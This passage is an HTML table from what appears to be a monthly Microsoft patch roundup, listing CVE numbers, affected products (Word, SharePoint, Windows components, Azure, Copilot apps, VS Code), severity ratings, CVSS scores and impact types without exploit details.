  <td class="xl69">8.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40365"><span>CVE-2026-40365</span></a></td>
  <td width="256" class="xl73">Microsoft SharePoint
  Server Remote Code Execution Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="72">
  <td class="xl67" height="72"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41103"><span>CVE-2026-41103</span></a></td>
  <td width="256" class="xl73">Microsoft SSO Plugin
  for Jira &amp; Confluence Elevation of Privilege Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">9.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33823"><span>CVE-2026-33823</span></a></td>
  <td width="256" class="xl73">Microsoft Team Events
  Portal Information Disclosure Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">9.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40364"><span>CVE-2026-40364</span></a></td>
  <td width="256" class="xl73">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">8.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40366"><span>CVE-2026-40366</span></a></td>
  <td width="256" class="xl73">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">8.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40361"><span>CVE-2026-40361</span></a></td>
  <td width="256" class="xl73">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">8.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40367"><span>CVE-2026-40367</span></a></td>
  <td width="256" class="xl73">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">8.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42831"><span>CVE-2026-42831</span></a></td>
  <td width="256" class="xl73">Office for Android
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41096"><span>CVE-2026-41096</span></a></td>
  <td width="256" class="xl73">Windows DNS Client
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-35421"><span>CVE-2026-35421</span></a></td>
  <td width="256" class="xl73">Windows GDI Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="71">
  <td class="xl67" height="71"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40403"><span>CVE-2026-40403</span></a></td>
  <td width="256" class="xl73">Windows Graphics
  Component Remote Code Execution Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40402"><span>CVE-2026-40402</span></a></td>
  <td width="256" class="xl73">Windows Hyper-V
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">9.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32161"><span>CVE-2026-32161</span></a></td>
  <td width="256" class="xl73">Windows Native WiFi
  Miniport Driver Remote Code Execution Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41089"><span>CVE-2026-41089</span></a></td>
  <td width="256" class="xl73">Windows Netlogon
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32175"><span>CVE-2026-32175</span></a></td>
  <td width="256" class="xl73">.NET Core Tampering
  Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">4.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Tampering</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32177"><span>CVE-2026-32177</span></a></td>
  <td width="256" class="xl73">.NET Elevation of
  Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-35433"><span>CVE-2026-35433</span></a></td>
  <td width="256" class="xl73">.NET Elevation of
  Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-54518"><span>CVE-2025-54518 *</span></a></td>
  <td width="256" class="xl73">AMD: CVE-2025-54518
  CPU OP Cache Corruption</td>
  <td class="xl70">Important</td>
  <td class="xl69"></td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42899"><span>CVE-2026-42899</span></a></td>
  <td width="256" class="xl73">ASP.NET Core Denial of
  Service Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40381"><span>CVE-2026-40381</span></a></td>
  <td width="256" class="xl73">Azure Connected
  Machine Agent Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42823"><span>CVE-2026-42823 †</span></a></td>
  <td width="256" class="xl73">Azure Logic Apps
  Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">9.9</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33833"><span>CVE-2026-33833</span></a></td>
  <td width="256" class="xl73">Azure Machine Learning
  Notebook Spoofing Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">8.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32204"><span>CVE-2026-32204</span></a></td>
  <td width="256" class="xl73">Azure Monitor Agent
  Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42830"><span>CVE-2026-42830</span></a></td>
  <td width="256" class="xl73">Azure Monitor Agent
  Metrics Extension Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33117"><span>CVE-2026-33117</span></a></td>
  <td width="256" class="xl73">Azure SDK for Java
  Security Feature Bypass Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">9.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41109"><span>CVE-2026-41109</span></a></td>
  <td width="256" class="xl73">GitHub Copilot and
  Visual Studio Code Security Feature Bypass Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-35424"><span>CVE-2026-35424</span></a></td>
  <td width="256" class="xl73">Internet Key Exchange
  (IKE) Protocol Denial of Service Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41614"><span>CVE-2026-41614</span></a></td>
  <td width="256" class="xl73">M365 Copilot for
  Desktop Spoofing Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">6.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41100"><span>CVE-2026-41100</span></a></td>
  <td width="256" class="xl73">Microsoft 365 Copilot
  for Android Spoofing Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">4.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40377"><span>CVE-2026-40377</span></a></td>
  <td width="256" class="xl73">Microsoft
  Cryptographic Services Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41094"><span>CVE-2026-41094</span></a></td>
  <td width="256" class="xl73">Microsoft Data
  Formulator Remote Code Execution Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40417"><span>CVE-2026-40417</span></a></td>
  <td width="256" class="xl73">Microsoft Dynamics 365
  Business Central Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42833"><span>CVE-2026-42833</span></a></td>
  <td width="256" class="xl73">Microsoft Dynamics 365
  On-Premises Remote Code Execution Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">9.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42838"><span>CVE-2026-42838</span></a></td>
  <td width="256" class="xl73">Microsoft Edge
  (Chromium-based) Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">5.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40360"><span>CVE-2026-40360</span></a></td>
  <td width="256" class="xl73">Microsoft Excel
  Information Disclosure Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40359"><span>CVE-2026-40359</span></a></td>
  <td width="256" class="xl73">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40362"><span>CVE-2026-40362</span></a></td>
  <td width="256" class="xl73">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42832"><span>CVE-2026-42832</span></a></td>
  <td width="256" class="xl73">Microsoft Excel
  Spoofing Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34329"><span>CVE-2026-34329</span></a></td>
  <td width="256" class="xl73">Microsoft Message
  Queuing (MSMQ) Remote Code Execution Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40419"><span>CVE-2026-40419</span></a></td>
  <td width="256" class="xl73">Microsoft Office
  Click-To-Run Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40418"><span>CVE-2026-40418</span></a></td>
  <td width="256" class="xl73">Microsoft Office
  Click-To-Run Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-35436"><span>CVE-2026-35436</span></a></td>
  <td width="256" class="xl73">Microsoft Office
  Click-To-Run Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40420"><span>CVE-2026-40420</span></a></td>
  <td width="256" class="xl73">Microsoft Office
  Click-To-Run Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42893"><span>CVE-2026-42893</span></a></td>
  <td width="256" class="xl73">Microsoft Outlook for
  iOS Tampering Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Tampering</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40374"><span>CVE-2026-40374</span></a></td>
  <td width="256" class="xl73">Microsoft Power
  Automate Desktop Information Disclosure Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41102"><span>CVE-2026-41102</span></a></td>
  <td width="256" class="xl73">Microsoft PowerPoint
  for Android Spoofing Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-35439"><span>CVE-2026-35439</span></a></td>
  <td width="256" class="xl73">Microsoft SharePoint
  Server Remote Code Execution Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40368"><span>CVE-2026-40368</span></a></td>
  <td width="256" class="xl73">Microsoft SharePoint
  Server Remote Code Execution Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33110"><span>CVE-2026-33110</span></a></td>
  <td width="256" class="xl73">Microsoft SharePoint
  Server Remote Code Execution Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33112"><span>CVE-2026-33112</span></a></td>
  <td width="256" class="xl73">Microsoft SharePoint
  Server Remote Code Execution Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40357"><span>CVE-2026-40357</span></a></td>
  <td width="256" class="xl73">Microsoft SharePoint
  Server Remote Code Execution Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32185"><span>CVE-2026-32185</span></a></td>
  <td width="256" class="xl73">Microsoft Teams
  Spoofing Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41101"><span>CVE-2026-41101</span></a></td>
  <td width="256" class="xl73">Microsoft Word for
  Android Spoofing Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-35440"><span>CVE-2026-35440</span></a></td>
  <td width="256" class="xl73">Microsoft Word
  Information Disclosure Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40421"><span>CVE-2026-40421</span></a></td>
  <td width="256" class="xl73">Microsoft Word
  Information Disclosure Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">4.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41097"><span>CVE-2026-41097</span></a></td>
  <td width="256" class="xl73">Secure Boot Security
  Feature Bypass Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">6.7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40370"><span>CVE-2026-40370 †</span></a></td>
  <td width="256" class="xl73">SQL Server Remote Code
  Execution Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41613"><span>CVE-2026-41613</span></a></td>
  <td width="256" class="xl73">Visual Studio Code
  Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41612"><span>CVE-2026-41612</span></a></td>
  <td width="256" class="xl73">Visual Studio Code
  Information Disclosure Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41611"><span>CVE-2026-41611</span></a></td>
  <td width="256" class="xl73">Visual Studio Code
  Remote Code Execution Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41610"><span>CVE-2026-41610</span></a></td>
  <td width="256" class="xl73">Visual Studio Code
  Security Feature Bypass Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">6.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33839"><span>CVE-2026-33839</span></a></td>
  <td width="256" class="xl73">Win32k Elevation of
  Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33840"><span>CVE-2026-33840</span></a></td>
  <td width="256" class="xl73">Win32k Elevation of
  Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34330"><span>CVE-2026-34330</span></a></td>
  <td width="256" class="xl73">Win32k Elevation of
  Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34331"><span>CVE-2026-34331</span></a></td>
  <td width="256" class="xl73">Win32k Elevation of
  Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-35423"><span>CVE-2026-35423</span></a></td>
  <td width="256" class="xl73">Windows 11 Telnet
  Client Information Disclosure Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">5.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-35438"><span>CVE-2026-35438</span></a></td>
  <td width="256" class="xl73">Windows Admin Center
  Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">8.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41086"><span>CVE-2026-41086</span></a></td>
  <td width="256" class="xl73">Windows Admin Center
  in Azure Portal Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34344"><span>CVE-2026-34344</span></a></td>
  <td width="256" class="xl73">Windows Ancillary
  Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34345"><span>CVE-2026-34345</span></a></td>
  <td width="256" class="xl73">Windows Ancillary
  Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-35416"><span>CVE-2026-35416</span></a></td>
  <td width="256" class="xl73">Windows Ancillary
  Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41088"><span>CVE-2026-41088</span></a></td>
  <td width="256" class="xl73">Windows Ancillary
  Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34343"><span>CVE-2026-34343</span></a></td>
  <td width="256" class="xl73">Windows Application
  Identity (AppID) Subsystem Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
